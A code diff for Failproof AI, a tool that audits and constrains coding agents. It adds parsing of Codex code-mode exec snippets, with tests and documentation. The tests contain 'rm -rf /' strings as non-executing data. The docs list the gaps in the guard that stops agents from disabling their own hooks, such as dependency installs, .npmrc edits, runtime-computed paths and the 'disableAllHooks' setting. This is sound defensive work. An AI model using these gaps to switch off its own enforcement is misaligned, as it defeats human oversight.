expect(extractCodeModeCalls('tools.exec_command({...opts, workdir:"/w"})')[0]).toEqual({ name: "exec_command", arg: { workdir: "/w" }, partial: true }); + expect(extractCodeModeCalls('tools.exec_command({[k]:"ls"})')[0]).toEqual({ name: "exec_command", arg: {}, partial: true }); + expect(extractCodeModeCalls("tools.exec_command(opts)")[0]).toEqual({ name: "exec_command", arg: undefined, partial: true }); + }); + + it("keeps a template literal's text, substitutions as written", () => { + const code = "tools.apply_patch(`*** Begin Patch\\n*** Add File: ${root}/a.txt\\n+hi\\n*** End Patch`)"; + expect(extractCodeModeCalls(code)).toEqual([ + { name: "apply_patch", arg: "*** Begin Patch\n*** Add File: ${root}/a.txt\n+hi\n*** End Patch", partial: true }, + ]); + }); + + it("finds a call made inside a template substitution", () => { + const calls = extractCodeModeCalls('text(`out: ${(await tools.exec_command({cmd:"date"})).output}`)'); + expect(calls).toEqual([{ name: "exec_command", arg: { cmd: "date" }, partial: false }]); + }); + + it("never reads text inside a string, a comment or a regex as a call", () => { + const code = [ + 'const note = "tools.exec_command({cmd:\\"rm -rf /\\"})";', + "// tools.exec_command({cmd:\"rm -rf /\"})", + "/* tools.exec_command({cmd:\"rm -rf /\"}) */", + "const re = /tools.exec_command\\(\"/;", + "const t = `tools.exec_command({cmd:\"x\"})`;", + "const hits = ALL_TOOLS.filter(x => /exec_command|get_goal/.test(x.name));", + 'await tools.exec_command({cmd:"ls"});', + ].join("\n"); + expect(extractCodeModeCalls(code)).toEqual([{ name: "exec_command", arg: { cmd: "ls" }, partial: false }]); + }); + + it("does not take x.tools.y() or mytools.y() for a tool call", () => { + expect(extractCodeModeCalls('ctx.tools.exec_command({cmd:"a"}); mytools.exec_command({cmd:"b"});')).toEqual([]); + }); + + it("returns nothing for a snippet that calls no tool", () => { + expect(extractCodeModeCalls("const hits = ALL_TOOLS.filter(x => /search/i.test(x.name)); text(hits);")).toEqual([]); + }); + + it("survives truncated and malformed input", () => { + for (const code of ['tools.exec_command({cmd:"unterminated', "tools.exec_command({cmd:", "tools.exec_command(", "`${", "/*", '"', "tools."]) { + expect(() => extractCodeModeCalls(code)).not.toThrow(); + } + expect(extractCodeModeCalls('tools.exec_command({cmd:"unterminated')).toEqual([ + { name: "exec_command", arg: undefined, partial: true }, + ]); + }); + + it("stays linear on a large snippet", () => { + const code = 'await tools.exec_command({cmd:"' + "a".repeat(500_000) + '"});' + ' "x"'.repeat(50_000) + " `${".repeat(5_000); + const t = performance.now(); + const calls = extractCodeModeCalls(code); + expect(performance.now() - t).toBeLessThan(2000); + expect(calls).toHaveLength(1); + }); +}); + +describe("lib/codex-code-mode: patchedFiles", () => { + it("lists every Add/Update/Delete target in order", () => { + const patch = "*** Begin Patch\n*** Update File: src/a.ts\n@@\n-x\n+y\n*** Add File: /abs/b.md\n+hi\n*** Delete File: c.txt\n*** End Patch"; + expect(patchedFiles(patch)).toEqual(["src/a.ts", "/abs/b.md", "c.txt"]); + }); + + it("returns an empty list for text that is not a patch", () => { + expect(patchedFiles("hello")).toEqual([]); + }); +}); diff --git a/__tests__/lib/codex-sessions.test.ts b/__tests__/lib/codex-sessions.test.ts index e995a5172..6f39d4f12 100644 --- a/__tests__/lib/codex-sessions.test.ts +++ b/__tests__/lib/codex-sessions.test.ts @@ -189,6 +189,76 @@ describe("lib/codex-sessions: parseCodexLog", () => { expect(entries).toHaveLength(1); expect(rawLines).toHaveLength(1); }); + + // Codex code mode (0.146+; every tool call on 0.172) writes `custom_tool_call` + // records. Before these were parsed, audit counted zero tool calls for them. + describe("code mode (custom_tool_call)", () => { + const exec = (callId: string, input: string, ts = "2026-11-29T18:15:42.000Z") => + line({ timestamp: ts, type: "response_item", payload: { type: "custom_tool_call", status: "completed", call_id: callId, name: "exec", input } }); + const out = (callId: string, texts: string[], ts = "2026-11-29T18:15:42.300Z") => + line({ timestamp: ts, type: "response_item", payload: { type: "custom_tool_call_output", call_id: callId, output: texts.map((text) => ({ type: "input_text", text })) } }); + const toolUses = (entries: import("@/lib/log-entries").LogEntry[]) => + entries.flatMap((e) => (e.type === "assistant" ? e.message.content.filter((b) => b.type === "tool_use") : [])); + + it("turns an exec snippet into the exec_command it runs, with its output", async () => { + const content = [ + exec("call_A", 'const r = await tools.exec_command({cmd:"./deploy.sh","workdir":"/home/u/stuck","yield_time_ms":10000}); text(JSON.stringify(r));\n'), + out("call_A", ["Script completed\nWall time 0.0 seconds\nOutput:\n", "error: DEPLOY_TOKEN is not set\n"]), + ].join("\n"); + const { entries } = await parseCodexLog(content); + const [tu] = toolUses(entries); + expect(tu).toMatchObject({ type: "tool_use", id: "call_A", name: "exec_command", input: { cmd: "./deploy.sh", workdir: "/home/u/stuck" } }); + if (tu?.type !== "tool_use") throw new Error("expected tool_use"); + expect(tu.input).not.toHaveProperty("code"); + expect(tu.result?.content).toBe("Script completed\nWall time 0.0 seconds\nOutput:\nerror: DEPLOY_TOKEN is not set\n"); + expect(tu.result?.durationMs).toBe(300); + }); + + it("emits one tool_use per call site, the output on the first only", async () => { + const content = [ + exec("call_B", 'const a = await tools.exec_command({cmd:"git status"});\nawait tools.write_stdin({session_id:7,chars:"y\\n"});'), + out("call_B", ["done"]), + ].join("\n"); + const uses = toolUses((await parseCodexLog(content)).entries); + expect(uses.map((u) => u.type === "tool_use" && [u.id, u.name, u.input])).toEqual([ + ["call_B#0", "exec_command", { cmd: "git status" }], + ["call_B#1", "write_stdin", { session_id: 7, chars: "y\n" }], + ]); + expect(uses[0].type === "tool_use" && uses[0].result?.content).toBe("done"); + expect(uses[1].type === "tool_use" && uses[1].result).toBeUndefined(); + }); + + it("keeps the snippet as `code` when the command is not a literal", async () => { + const code = 'for (const c of ["a","b"]) await tools.exec_command({cmd: c});'; + const [tu] = toolUses((await parseCodexLog(exec("call_C", code))).entries); + expect(tu).toMatchObject({ name: "exec_command", input: { code } }); + }); + + it("still records a snippet that calls no tool, as `exec`", async () => { + const code = "text(ALL_TOOLS.filter(x => /search/.test(x.name)));"; + const [tu] = toolUses((await parseCodexLog(exec("call_D", code))).entries); + expect(tu).toMatchObject({ id: "call_D", name: "exec", input: { code } }); + }); + + it("gives a freeform apply_patch the file it touches", async () => { + const patch = "*** Begin Patch\n*** Update File: /home/u/proj/.env\n@@\n-A=1\n+A=2\n*** Add File: notes.md\n+hi\n*** End Patch\n"; + const content = line({ timestamp: "2026-11-29T18:00:00.000Z", type: "response_item", payload: { type: "custom_tool_call", call_id: "call_E", name: "apply_patch", input: patch } }); + const [tu] = toolUses((await parseCodexLog(content)).entries); + expect(tu).toMatchObject({ name: "apply_patch", input: { patch, file_path: "/home/u/proj/.env", files: ["/home/u/proj/.env", "notes.md"] } }); + }); + + it("reads apply_patch called from inside an exec snippet", async () => { + const code = 'await tools.apply_patch("*** Begin Patch\\n*** Add File: a.txt\\n+x\\n*** End Patch\\n");'; + const [tu] = toolUses((await parseCodexLog(exec("call_F", code))).entries); + expect(tu).toMatchObject({ name: "apply_patch", input: { file_path: "a.txt", patch: "*** Begin Patch\n*** Add File: a.txt\n+x\n*** End Patch\n" } }); + }); + + it("keeps an output with no matching call as a system entry", async () => { + const { entries } = await parseCodexLog(out("call_missing", ["x"])); + expect(entries).toHaveLength(1); + expect(entries[0].type).toBe("system"); + }); + }); }); describe("lib/codex-sessions: findCodexTranscript", () => { diff --git a/docs/policies/local-configuration.mdx b/docs/policies/local-configuration.mdx index 46fcbace5..2d394823d 100644 --- a/docs/policies/local-configuration.mdx +++ b/docs/policies/local-configuration.mdx @@ -22,6 +22,8 @@ failproofai policies Not every harness supports local scope; the CLI rejects a scope the selected harness cannot represent. +Project-scope hooks run `npx -y failproofai`, so the committed file names no machine's path (Pi's are the exception: its project file points at the extension inside the installed package). npx runs a `failproofai` the project provides before the installed one: `node_modules/.bin/failproofai` in the project or any directory above it, or a `failproofai` entry in the project's `package.json` `bin`. It also applies the project's `.npmrc` and your own `~/.npmrc`. `block-failproofai-commands` refuses agent commands and file edits that write `node_modules/.bin/failproofai` or put a directory onto a `node_modules/.bin`. It does not refuse a dependency install or an edit to `package.json` or `.npmrc`, any of which can replace what the hook runs. It reads a command as written and as the shell expands it, with the sed scripts, patches and curl configs the command names, so it cannot see a path a command only computes as it runs: one read from a pipe or a file (`read`, `xargs`), one a sourced file sets, one a tool takes from its own configuration (`~/.curlrc`, `~/.wgetrc`), or one a script run by an interpreter writes (`python -c`, `node -e`, `awk`). User-scope hooks, which `failproofai config` installs, run the installed CLI by its absolute path, so a repository does not decide which CLI they run: where an agent must not be able to change its own enforcement from inside a repository, keep its user-scope hooks installed. + Which pack policies are on is **not** scoped. The switch is recorded with the installed pack, so `failproofai policies add ` turns a policy on for the whole machine, whatever `--scope` says. | Scope | Policy configuration file | diff --git a/docs/reference/failproof-cli.mdx b/docs/reference/failproof-cli.mdx index cc97aa58b..913af0862 100644 --- a/docs/reference/failproof-cli.mdx +++ b/docs/reference/failproof-cli.mdx @@ -178,6 +178,12 @@ Use configuration files for persistent machine behavior. Environment variables a Agent-specific home variables such as `CLAUDE_PROJECTS_PATH`, `CURSOR_HOME`, `HERMES_HOME`, and `OPENCLAW_HOME` override where Failproof AI discovers local sessions for that harness. +## Agent hook settings + +Agents cannot edit the files their CLI loads failproofai's hooks from: Claude Code's `settings*.json` in `~/.claude/` and in any project's `.claude/`, Codex's `hooks.json` and `config.toml`, and the hook and plugin files of the other supported agents, also when they reach them through a symlink. One line there can switch every policy off — in Claude Code, `"disableAllHooks": true` in the highest-precedence settings file that sets the key, though only managed settings can switch off hooks that managed settings install — so `block-failproofai-commands` refuses those writes, from file tools and from the shell alike. It judges a shell command by its text, so a script written earlier and run later is not seen. This guard does not restrict reading these files; if a read is denied, the opt-in `block-read-outside-cwd` policy denied it. Change them yourself, or with `failproofai policies --install` and `--uninstall`. + +`failproofai config --status` reports a `disableAllHooks` that is switching failproofai's Claude Code hooks off, and names the file that sets it. + ## Pause or remove a machine safely ```bash diff --git a/docs/start/quickstart.mdx b/docs/start/quickstart.mdx index daef2d525..763803fc4 100644 --- a/docs/start/quickstart.mdx +++ b/docs/start/quickstart.mdx @@ -92,7 +92,7 @@ This quickstart gets one machine reporting sessions, runs an audit, and deploys Read any pack before taking it with `failproofai policies show /`, and see [policy packs](/policies/packs) for taking only part of one. - Until this runs, the only thing enforcing is `block-failproofai-commands` — the always-on guard that stops an agent switching Failproof AI off. `failproofai policies` lists what is on. + Until this runs, the only thing enforcing is `block-failproofai-commands` — the always-on guard that stops an agent switching Failproof AI off, whether through its CLI, its files, or the agent's own hook settings. `failproofai policies` lists what is on. Follow [Prevent your first failure with a policy](/start/first-policy). Start in observe mode, inspect matches, then enforce the reviewed version. diff --git a/lib/codex-code-mode.ts b/lib/codex-code-mode.ts new file mode 100644 index 000000000..ebc937a53 --- /dev/null +++ b/lib/codex-code-mode.ts @@ -0,0 +1,399 @@ +/** + * Codex "code mode" transcript support. + * + * From roughly Codex 0.146, and for every tool call on 0.172, Codex writes a + * tool call as a `custom_tool_call` record rather than a `function_call`. Two + * names occur: + * + * - `exec` — `input` is a JavaScript snippet the model wrote, which + * calls the real tools through `tools.(...)`, e.g. + * `const r = await tools.exec_command({cmd:"ls",workdir:"/x"});` + * - `apply_patch` — `input` is the freeform patch text itself. + * + * This module turns an `exec` snippet into the tool calls it makes, so the + * audit sees `exec_command {cmd}` (→ Bash) instead of one opaque script. + * + * It READS LITERALS ONLY and never evaluates anything. An argument it cannot + * read as a literal (a variable, a function call, a spread) is left out, and + * the call carries the whole snippet as `code` so nothing is hidden: a guessed + * command would be worse than an unknown one. Template literals are kept as + * their source text, `${…}` included. + */ + +export interface CodeModeCall { + /** Inner tool name, e.g. `exec_command`, `write_stdin`, `apply_patch`. */ + name: string; + /** The first argument, read as a literal. Object properties that are not + * literals are omitted. A string argument (apply_patch) is returned as-is + * under `input` by the caller. */ + arg: unknown; + /** True when some or all of the argument could not be read as a literal. */ + partial: boolean; +} + +const IDENT_START = /[A-Za-z_$]/; +const IDENT_PART = /[A-Za-z0-9_$]/; + +/** Template-in-substitution nesting past which the rest of the snippet is + * treated as opaque (never as calls). Real snippets nest one or two deep. */ +const MAX_NESTING = 16; + +/** Characters after which a `/` starts a regex literal rather than division. */ +const REGEX_PRECEDERS = new Set(["", "(", ",", "=", ":", "[", "!", "&", "|", "?", "{", "}", ";", "+", "-", "*", "%", "<", ">", "~", "^"]); + +/** Skip a quoted string starting at `i` (the opening quote). Returns the index + * just past the closing quote, or `s.length` when unterminated. */ +function skipQuoted(s: string, i: number): number { + const q = s[i]; + let j = i + 1; + while (j < s.length) { + const c = s[j]; + if (c === "\\") { j += 2; continue; } + if (c === q) return j + 1; + if (c === "\n" && q !== "`") return j; // unterminated single-line string + j++; + } + return s.length; +} + +/** Skip a template literal starting at `i` (the backtick), including any + * `${…}` substitutions and whatever strings they contain. */ +function skipTemplate(s: string, i: number, nest = 0): number { + if (nest > MAX_NESTING) return s.length; + let j = i + 1; + while (j < s.length) { + const c = s[j]; + if (c === "\\") { j += 2; continue; } + if (c === "`") return j + 1; + if (c === "$" && s[j + 1] === "{") { + j = skipCode(s, j + 2, "}", nest + 1); + continue; + } + j++; + } + return s.length; +} + +function skipRegex(s: string, i: number): number { + let j = i + 1; + let inClass = false; + while (j < s.length) { + const c = s[j]; + if (c === "\\") { j += 2; continue; } + if (c === "\n") return j; + if (inClass) { if (c === "]") inClass = false; } + else if (c === "[") inClass = true; + else if (c === "/") { + j++; + while (j < s.length && IDENT_PART.test(s[j])) j++; + return j; + } + j++; + } + return s.length; +} + +/** Advance through code from `i` until the matching `close` at depth 0, + * skipping strings, templates, comments and regexes. Returns the index just + * past `close`, or `s.length`. */ +function skipCode(s: string, i: number, close: string, nest = 0): number { + if (nest > MAX_NESTING) return s.length; + let depth = 0; + let prev = ""; + let j = i; + while (j < s.length) { + const c = s[j]; + if (c === "\"" || c === "'") { j = skipQuoted(s, j); prev = "a"; continue; } + if (c === "`") { j = skipTemplate(s, j, nest + 1); prev = "a"; continue; } + if (c === "/" && s[j + 1] === "/") { const n = s.indexOf("\n", j); j = n < 0 ? s.length : n; continue; } + if (c === "/" && s[j + 1] === "*") { const n = s.indexOf("*/", j + 2); j = n < 0 ? s.length : n + 2; continue; } + if (c === "/" && REGEX_PRECEDERS.has(prev)) { j = skipRegex(s, j); prev = "a"; continue; } + if (c === "(" || c === "[" || c === "{") depth++; + else if (c === ")" || c === "]" || c === "}") { + if (depth === 0 && c === close) return j + 1; + depth--; + } + if (!/\s/.test(c)) prev = IDENT_PART.test(c) ? "a" : c; + j++; + } + return s.length; +} + +// ── Literal reader ── + +class Unreadable extends Error {} + +interface Reader { s: string; i: number; partial: boolean } + +function ws(r: Reader): void { + for (;;) { + while (r.i < r.s.length && /\s/.test(r.s[r.i])) r.i++; + if (r.s.startsWith("//", r.i)) { const n = r.s.indexOf("\n", r.i); r.i = n < 0 ? r.s.length : n; continue; } + if (r.s.startsWith("/*", r.i)) { const n = r.s.indexOf("*/", r.i + 2); r.i = n < 0 ? r.s.length : n + 2; continue; } + return; + } +} + +function decodeEscape(s: string, i: number): [string, number] { + // s[i] is the character after the backslash. + const c = s[i]; + switch (c) { + case "n": return ["\n", i + 1]; + case "t": return ["\t", i + 1]; + case "r": return ["\r", i + 1]; + case "b": return ["\b", i + 1]; + case "f": return ["\f", i + 1]; + case "v": return ["\v", i + 1]; + case "0": return ["\0", i + 1]; + case "\n": return ["", i + 1]; // line continuation + case "x": { + const h = s.slice(i + 1, i + 3); + if (/^[0-9a-fA-F]{2}$/.test(h)) return [String.fromCharCode(parseInt(h, 16)), i + 3]; + return ["x", i + 1]; + } + case "u": { + if (s[i + 1] === "{") { + const end = s.indexOf("}", i + 2); + const h = end < 0 ? "" : s.slice(i + 2, end); + if (/^[0-9a-fA-F]{1,6}$/.test(h) && parseInt(h, 16) <= 0x10ffff) return [String.fromCodePoint(parseInt(h, 16)), end + 1]; + return ["u", i + 1]; + } + const h = s.slice(i + 1, i + 5); + if (/^[0-9a-fA-F]{4}$/.test(h)) return [String.fromCharCode(parseInt(h, 16)), i + 5]; + return ["u", i + 1]; + } + default: return [c ?? "", i + 1]; + } +} + +function readString(r: Reader): string { + const q = r.s[r.i]; + let out = ""; + let j = r.i + 1; + while (j < r.s.length) { + const c = r.s[j]; + if (c === "\\") { const [t, n] = decodeEscape(r.s, j + 1); out += t; j = n; continue; } + if (c === q) { r.i = j + 1; return out; } + if (c === "\n") throw new Unreadable(); + out += c; + j++; + } + throw new Unreadable(); +} + +/** A template literal's text, escapes decoded, `${…}` kept as written. */ +function readTemplate(r: Reader): string { + let out = ""; + let j = r.i + 1; + while (j < r.s.length) { + const c = r.s[j]; + if (c === "\\") { const [t, n] = decodeEscape(r.s, j + 1); out += t; j = n; continue; } + if (c === "`") { r.i = j + 1; return out; } + if (c === "$" && r.s[j + 1] === "{") { + const end = skipCode(r.s, j + 2, "}"); + out += r.s.slice(j, end); + r.partial = true; + j = end; + continue; + } + out += c; + j++; + } + throw new Unreadable(); +} + +function readIdent(r: Reader): string { + const start = r.i; + if (!IDENT_START.test(r.s[r.i] ?? "")) throw new Unreadable(); + while (r.i < r.s.length && IDENT_PART.test(r.s[r.i])) r.i++; + return r.s.slice(start, r.i); +} + +/** Skip one expression we cannot read, stopping before a `,` or the closing + * bracket at depth 0. */ +function skipExpression(r: Reader): void { + let depth = 0; + while (r.i < r.s.length) { + const c = r.s[r.i]; + if (c === "\"" || c === "'") { r.i = skipQuoted(r.s, r.i); continue; } + if (c === "`") { r.i = skipTemplate(r.s, r.i); continue; } + if (c === "(" || c === "[" || c === "{") depth++; + else if (c === ")" || c === "]" || c === "}") { if (depth === 0) return; depth--; } + else if (c === "," && depth === 0) return; + r.i++; + } +} + +const NOT_A_VALUE = Symbol("not-a-value"); + +function readValue(r: Reader, depth: number): unknown { + if (depth > 32) throw new Unreadable(); + ws(r); + const c = r.s[r.i]; + if (c === "\"" || c === "'") return readString(r); + if (c === "`") return readTemplate(r); + if (c === "{") return readObject(r, depth); + if (c === "[") return readArray(r, depth); + const num = /^-?(?:0[xX][0-9a-fA-F]+|(?:\d[\d_]*)?\.?\d[\d_]*(?:[eE][+-]?\d+)?)/.exec(r.s.slice(r.i, r.i + 64)); + if (num && num[0] !== "-") { + const after = r.s[r.i + num[0].length] ?? ""; + if (!IDENT_PART.test(after) && after !== ".") { + r.i += num[0].length; + return Number(num[0].replace(/_/g, "")); + } + } + if (IDENT_START.test(c ?? "")) { + const save = r.i; + const id = readIdent(r); + ws(r); + const next = r.s[r.i] ?? ""; + if ([",", "}", "]", ")"].includes(next)) { + if (id === "true") return true; + if (id === "false") return false; + if (id === "null") return null; + if (id === "undefined") return undefined; + } + r.i = save; + } + // Anything else: a variable, a call, arithmetic. Not read. + skipExpression(r); + r.partial = true; + return NOT_A_VALUE; +} + +function readObject(r: Reader, depth: number): Record { + r.i++; // { + const out: Record = {}; + for (;;) { + ws(r); + if (r.s[r.i] === "}") { r.i++; return out; } + if (r.i >= r.s.length) throw new Unreadable(); + let key: string | undefined; + const c = r.s[r.i]; + if (c === "\"" || c === "'") key = readString(r); + else if (r.s.startsWith("...", r.i) || c === "[") { skipExpression(r); r.partial = true; } + else if (/\d/.test(c)) { const m = /^\d+/.exec(r.s.slice(r.i))!; key = m[0]; r.i += m[0].length; } + else key = readIdent(r); + ws(r); + if (key !== undefined) { + if (r.s[r.i] === ":") { + r.i++; + const v = readValue(r, depth + 1); + if (v !== NOT_A_VALUE) out[key] = v; + } else if (r.s[r.i] === "(") { + skipExpression(r); // method shorthand + r.partial = true; + } else { + r.partial = true; // shorthand `{ cmd }` — a variable + } + } + ws(r); + if (r.s[r.i] === ",") { r.i++; continue; } + if (r.s[r.i] === "}") { r.i++; return out; } + throw new Unreadable(); + } +} + +function readArray(r: Reader, depth: number): unknown[] { + r.i++; // [ + const out: unknown[] = []; + for (;;) { + ws(r); + if (r.s[r.i] === "]") { r.i++; return out; } + if (r.i >= r.s.length) throw new Unreadable(); + const v = readValue(r, depth + 1); + if (v !== NOT_A_VALUE) out.push(v); + ws(r); + if (r.s[r.i] === ",") { r.i++; continue; } + if (r.s[r.i] === "]") { r.i++; return out; } + throw new Unreadable(); + } +} + +/** Read the first argument of a call whose `(` is at `open`. */ +function readFirstArgument(code: string, open: number): { arg: unknown; partial: boolean } { + const r: Reader = { s: code, i: open + 1, partial: false }; + try { + ws(r); + if (r.s[r.i] === ")") return { arg: undefined, partial: false }; + const v = readValue(r, 0); + if (v === NOT_A_VALUE) return { arg: undefined, partial: true }; + return { arg: v, partial: r.partial }; + } catch { + return { arg: undefined, partial: true }; + } +} + +/** Upper bound on calls taken from one snippet. A loop issues one call site + * however many times it runs, so real snippets stay far below this. */ +const MAX_CALLS = 64; + +/** + * The `tools.(…)` call sites in a Codex code-mode `exec` snippet, in + * source order. Text inside strings, templates, comments and regex literals is + * never mistaken for a call. A call site inside a loop appears once. + */ +export function extractCodeModeCalls(code: string, nest = 0): CodeModeCall[] { + if (nest > MAX_NESTING) return []; + const calls: CodeModeCall[] = []; + let prev = ""; + let i = 0; + while (i < code.length && calls.length < MAX_CALLS) { + const c = code[i]; + if (c === "\"" || c === "'") { i = skipQuoted(code, i); prev = "a"; continue; } + if (c === "`") { + // A template's own substitutions can make calls: `${await tools.x(…)}`. + const end = skipTemplate(code, i); + const inner = code.slice(i + 1, end - 1); + let k = inner.indexOf("${"); + while (k >= 0 && calls.length < MAX_CALLS) { + const close = skipCode(inner, k + 2, "}"); + for (const call of extractCodeModeCalls(inner.slice(k + 2, close - 1), nest + 1)) { + if (calls.length < MAX_CALLS) calls.push(call); + } + k = inner.indexOf("${", close); + } + i = end; + prev = "a"; + continue; + } + if (c === "/" && code[i + 1] === "/") { const n = code.indexOf("\n", i); i = n < 0 ? code.length : n; continue; } + if (c === "/" && code[i + 1] === "*") { const n = code.indexOf("*/", i + 2); i = n < 0 ? code.length : n + 2; continue; } + if (c === "/" && REGEX_PRECEDERS.has(prev)) { i = skipRegex(code, i); prev = "a"; continue; } + + if (IDENT_START.test(c)) { + let j = i; + while (j < code.length && IDENT_PART.test(code[j])) j++; + const word = code.slice(i, j); + // `tools` as its own identifier, not `x.tools` or `mytools`. + if (word === "tools" && prev !== ".") { + const m = /^\s*\.\s*([A-Za-z_$][A-Za-z0-9_$]*)\s*\(/.exec(code.slice(j, j + 256)); + if (m) { + const open = j + m[0].length - 1; + const { arg, partial } = readFirstArgument(code, open); + calls.push({ name: m[1], arg, partial }); + // Keep scanning inside the arguments: `tools.a({x: await tools.b()})` + // is rare but real calls should not hide in each other. + i = open + 1; + prev = "("; + continue; + } + } + i = j; + prev = "a"; + continue; + } + if (!/\s/.test(c)) prev = c; + i++; + } + return calls; +} + +/** Every `*** Add|Update|Delete File:` path in a Codex patch, in order. */ +export function patchedFiles(patch: string): string[] { + const out: string[] = []; + const re = /^\*\*\* (?:Add|Update|Delete) File: (.+?)\s*$/gm; + let m: RegExpExecArray | null; + while ((m = re.exec(patch)) !== null) out.push(m[1]); + return out; +} diff --git a/lib/codex-sessions.ts b/lib/codex-sessions.ts index f30fd6980..6f74469dd 100644 --- a/lib/codex-sessions.ts +++ b/lib/codex-sessions.ts @@ -7,7 +7,9 @@ * The schema is uniform `{ timestamp, type, payload }` records: * - type: session_meta — metadata (cwd, model, base instructions) * - type: turn_context — per-turn config (approval_policy, sandbox) - * - type: response_item — message / function_call / function_call_output + * - type: response_item — message / function_call / function_call_output, + * and in code mode custom_tool_call / _output + * (see lib/codex-code-mode.ts) * - type: event_msg — task_started, user_message, agent_message, * exec_command_begin/end, token_count, … * @@ -34,6 +36,7 @@ import { } from "./log-entries"; import { formatDuration } from "./format-duration"; import { codexSessionPathsFile } from "../src/hooks/fp-home"; +import { extractCodeModeCalls, patchedFiles } from "./codex-code-mode"; // ── Transcript discovery ── @@ -150,6 +153,53 @@ function safeJsonParse(s: string | undefined): Record { } } +/** A Codex patch as a tool input: the patch text, plus the file(s) it names so + * path policies have a `file_path` to check. */ +function patchInput(patch: string): Record { + const files = patchedFiles(patch); + const input: Record = { patch }; + if (files.length > 0) input.file_path = files[0]; + if (files.length > 1) input.files = files; + return input; +} + +/** The tool_use blocks one code-mode `custom_tool_call` stands for. */ +function codeModeToolUses(name: string, rawInput: unknown, id: string): ToolUseBlock[] { + const text = typeof rawInput === "string" ? rawInput : JSON.stringify(rawInput ?? ""); + if (name === "apply_patch") { + return [{ type: "tool_use", id, name, input: patchInput(text) }]; + } + if (name !== "exec") { + return [{ type: "tool_use", id, name, input: { input: text } }]; + } + const calls = extractCodeModeCalls(text); + if (calls.length === 0) { + // A snippet that calls no tool (e.g. filtering ALL_TOOLS) still ran code. + return [{ type: "tool_use", id, name: "exec", input: { code: text } }]; + } + return calls.map((call, i) => { + let input: Record; + if (call.name === "apply_patch" && typeof call.arg === "string") input = patchInput(call.arg); + else if (call.arg && typeof call.arg === "object" && !Array.isArray(call.arg)) input = { ...(call.arg as Record) }; + else if (call.arg !== undefined) input = { input: call.arg }; + else input = {}; + // Whatever could not be read as a literal stays visible as the snippet. + if (call.partial) input.code = text; + return { type: "tool_use", id: calls.length === 1 ? id : `${id}#${i}`, name: call.name, input }; + }); +} + +/** `custom_tool_call_output.output`: a string, or `[{type:"input_text",text}]`. */ +function customOutputText(output: unknown): string { + if (typeof output === "string") return output; + if (Array.isArray(output)) { + return output + .map((b) => (b && typeof b === "object" && typeof (b as { text?: unknown }).text === "string" ? (b as { text: string }).text : "")) + .join(""); + } + return JSON.stringify(output ?? ""); +} + function joinTexts(blocks: CodexContentBlock[] | undefined, wantedType: "input_text" | "output_text"): string { if (!Array.isArray(blocks)) return ""; return blocks @@ -297,6 +347,52 @@ export async function parseCodexLog( continue; } + // Codex code mode (≈0.146+, every tool call on 0.172): `exec` carries a + // JavaScript snippet that calls the real tools via `tools.(…)`; + // `apply_patch` carries the freeform patch text. Emit one tool_use per + // inner call so the audit sees `exec_command {cmd}` rather than nothing. + if (subType === "custom_tool_call") { + const callId = payload.call_id as string | undefined; + const name = (payload.name as string | undefined) ?? "custom_tool_call"; + const rawInput = payload.input; + const blocks = codeModeToolUses(name, rawInput, callId ?? `${timestamp}-${name}`); + entries.push({ + type: "assistant", + ...baseEntry(rawCopy, timestamp, date, source), + message: { role: "assistant", content: blocks }, + } satisfies AssistantEntry); + if (callId && blocks.length > 0) { + // One output covers the whole snippet; it is attached to the first + // inner call only, so a result-scanning policy counts it once. + toolUseById.set(callId, blocks[0]); + toolUseStartMs.set(callId, date.getTime()); + } + continue; + } + + if (subType === "custom_tool_call_output") { + const callId = payload.call_id as string | undefined; + const block = callId ? toolUseById.get(callId) : undefined; + if (block) { + const startMs = toolUseStartMs.get(callId!) ?? date.getTime(); + const duration = Math.max(0, date.getTime() - startMs); + block.result = { + timestamp, + timestampFormatted: formatTimestamp(date), + content: customOutputText(payload.output), + durationMs: duration, + durationFormatted: formatDuration(duration), + }; + continue; + } + entries.push({ + type: "system", + ...baseEntry(rawCopy, timestamp, date, source), + raw: rawCopy, + } satisfies GenericEntry); + continue; + } + // Unknown response_item subtype — preserve raw. entries.push({ type: "system", diff --git a/src/audit/cache.ts b/src/audit/cache.ts index a8f3d4b6d..39ceec7fb 100644 --- a/src/audit/cache.ts +++ b/src/audit/cache.ts @@ -15,6 +15,7 @@ import { join } from "node:path"; import { BUILTIN_POLICIES } from "../hooks/builtin-policies"; import { AUDIT_DETECTORS } from "./detectors"; import type { TranscriptAuditResult, DetectorSessionState } from "./types"; +import type { IntegrationType } from "../hooks/types"; import { auditCacheDir } from "../hooks/fp-home"; let cachedEngineVersion: string | null = null; @@ -120,6 +121,22 @@ function getCachePathFor(transcriptPath: string): string { */ export const CACHE_SCHEMA_VERSION = 4; +/** + * Per-CLI transcript-parser versions. `engineVersion` hashes the builtins and + * `detectorVersion` the detectors, but neither sees a parser change: a parser + * that starts reading records it used to skip leaves the transcript's mtime and + * size alone, so its old result would keep being served until the TTL ran out. + * Bump a CLI's number here when its parser starts producing different events + * from the same file; only that CLI's entries are re-scanned. A CLI with no + * number is unaffected, and entries written before this existed carry none. + * + * codex 2: Codex code mode (`custom_tool_call` exec / apply_patch) is parsed. + * Before it every Codex 0.146+ session cached as zero tool calls. + */ +export const TRANSCRIPT_PARSER_VERSIONS: Partial> = { + codex: 2, +}; + /** * How much of the head and of the resume boundary is hashed to decide the * bytes already scanned are still the same bytes. @@ -174,6 +191,9 @@ interface CacheEntry { anchorHash?: string; /** Stateful detectors' session state at `bytesScanned`, Map-aware encoded. */ detectorState?: string; + /** `TRANSCRIPT_PARSER_VERSIONS[result.cli]` when written; absent for a CLI + * with no number. */ + parserVersion?: number; } /** What a cache lookup can say. */ @@ -274,6 +294,8 @@ export function readCachedTranscript( // and pin a stale entry as valid forever. if (!Number.isFinite(entry.cachedAt) || Date.now() - (entry.cachedAt as number) > CACHE_TTL_MS) return null; if (!entry.result) return null; + const parserVersion = TRANSCRIPT_PARSER_VERSIONS[entry.result.cli]; + if (parserVersion !== undefined && entry.parserVersion !== parserVersion) return null; if (entry.mtimeMs === mtimeMs && entry.sizeBytes === sizeBytes) { return { kind: "hit", result: entry.result }; @@ -334,6 +356,8 @@ export function writeCachedTranscriptResult( detectorVersion: getDetectorVersion(), result, }; + const parserVersion = TRANSCRIPT_PARSER_VERSIONS[result.cli]; + if (parserVersion !== undefined) entry.parserVersion = parserVersion; if (resume && resume.bytesScanned > 0) { const anchor = anchorHashFor(transcriptPath, resume.bytesScanned); // No anchor means no way to prove the prefix later, so the entry is diff --git a/src/hooks/agent-settings-guard.ts b/src/hooks/agent-settings-guard.ts new file mode 100644 index 000000000..fa713fa73 --- /dev/null +++ 